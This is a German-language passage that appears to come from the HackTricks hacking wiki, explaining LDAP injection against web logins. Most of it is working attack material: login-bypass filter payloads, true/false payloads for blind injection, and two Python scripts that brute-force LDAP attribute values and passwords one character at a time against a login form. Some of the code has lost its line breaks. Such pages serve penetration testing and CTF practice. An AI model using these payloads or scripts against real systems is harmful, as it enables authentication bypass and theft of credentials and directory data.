Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an dieHackTricks und HackTricks Cloud GitHub-Repositories einreichen.
Wenn Sie an einer Hackerkarriere interessiert sind und das Unhackbare hacken möchten - wir stellen ein! (fließendes Polnisch in Wort und Schrift erforderlich).
LDAP-Injektion ist ein Angriff, der auf Webanwendungen abzielt, die LDAP-Anweisungen aus Benutzereingaben erstellen. Dies tritt auf, wenn die Anwendung Eingaben nicht ordnungsgemäß bereinigt, wodurch Angreifer LDAP-Anweisungen durch einen lokalen Proxy manipulieren können, was möglicherweise zu unbefugtem Zugriff oder Datenmanipulation führt.
Zum Beispiel:
(&(!(objectClass=Impresoras))(uid=s*))(&(objectClass=user)(uid=*))
Sie können auf die Datenbank zugreifen, die Informationen verschiedener Typen enthalten kann.
OpenLDAP: Wenn 2 Filter eintreffen, wird nur der erste ausgeführt.
ADAM oder Microsoft LDS: Bei 2 Filtern wird ein Fehler ausgegeben.
SunOne Directory Server 5.0: Führt beide Filter aus.
Es ist sehr wichtig, den Filter mit korrekter Syntax zu senden, da andernfalls ein Fehler ausgegeben wird. Es ist besser, nur 1 Filter zu senden.
Der Filter muss mit & oder | beginnen
Beispiel: (&(directory=val1)(folder=public))
Dann: (&(objectClass=*)(ObjectClass=*)) wird der erste Filter sein (der ausgeführt wird).
Anmeldeumgehung
LDAP unterstützt mehrere Formate zum Speichern des Passworts: Klartext, md5, smd5, sh1, sha, crypt. Daher kann es sein, dass unabhängig davon, was Sie im Passwort eingeben, es gehasht wird.
user=*password=*--> (&(user=*)(password=*))# The asterisks are great in LDAPi
user=admin)(&)password=pwd--> (&(user=admin)(&))(password=pwd) #Can through an error
username=admin)(!(&(|pass=any))--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
Sie können falsche oder wahre Antworten erzwingen, um zu überprüfen, ob Daten zurückgegeben werden, und eine mögliche Blind LDAP-Injektion bestätigen:
#This will result on True, so some information will be shownPayload:*)(objectClass=*))(&objectClass=voidFinalquery: (&(objectClass=*)(objectClass=*))(&objectClass=void )(type=Pepi*))
#This will result on True, so no information will be returned or shownPayload:void)(objectClass=void))(&objectClass=voidFinalquery: (&(objectClass=void)(objectClass=void))(&objectClass=void )(type=Pepi*))
Daten abrufen
Sie können über die ASCII-Buchstaben, Zahlen und Symbole iterieren:
LDAP-Objekte enthalten standardmäßig mehrere Attribute, die zur Speicherung von Informationen verwendet werden können. Sie können versuchen, sie alle per Brute-Force zu durchsuchen, um diese Informationen zu extrahieren. Eine Liste der Standard-LDAP-Attribute finden Sie hier.
#!/usr/bin/python3import requestsimport stringfrom time import sleepimport sysproxy ={"http":"localhost:8080"}url ="http://10.10.10.10/login.php"alphabet = string.ascii_letters + string.digits +"_@{}-/()!\"$%=^[]:;"attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]
for attribute in attributes:#Extract all attributesvalue =""finish =Falsewhilenot finish:for char in alphabet:#In each possition test each possible printable charquery =f"*)({attribute}={value}{char}*"data ={'login':query,'password':'bla'}r = requests.post(url, data=data, proxies=proxy)sys.stdout.write(f"\r{attribute}: {value}{char}")#sleep(0.5) #Avoid brute-force bansif"Cannot login"in r.text:value +=str(char)breakif char == alphabet[-1]:#If last of all the chars, then, no more chars in the valuefinish =Trueprint()
Spezielle Blind LDAP-Injektion (ohne "*")
#!/usr/bin/python3import requests, stringalphabet = string.ascii_letters + string.digits +"_@{}-/()!\"$%=^[]:;"flag =""for i inrange(50):print("[i] Looking for number "+str(i))for char in alphabet:r = requests.get("http://ctf.web??action=dir&search=admin*)(password="+ flag + char)if ("TRUE CONDITION"in r.text):flag += charprint("[+] Flag: "+ flag)break
Wenn Sie an einer Karriere im Bereich Hacking interessiert sind und das Unhackbare hacken möchten - wir stellen ein! (fließendes Polnisch in Wort und Schrift erforderlich).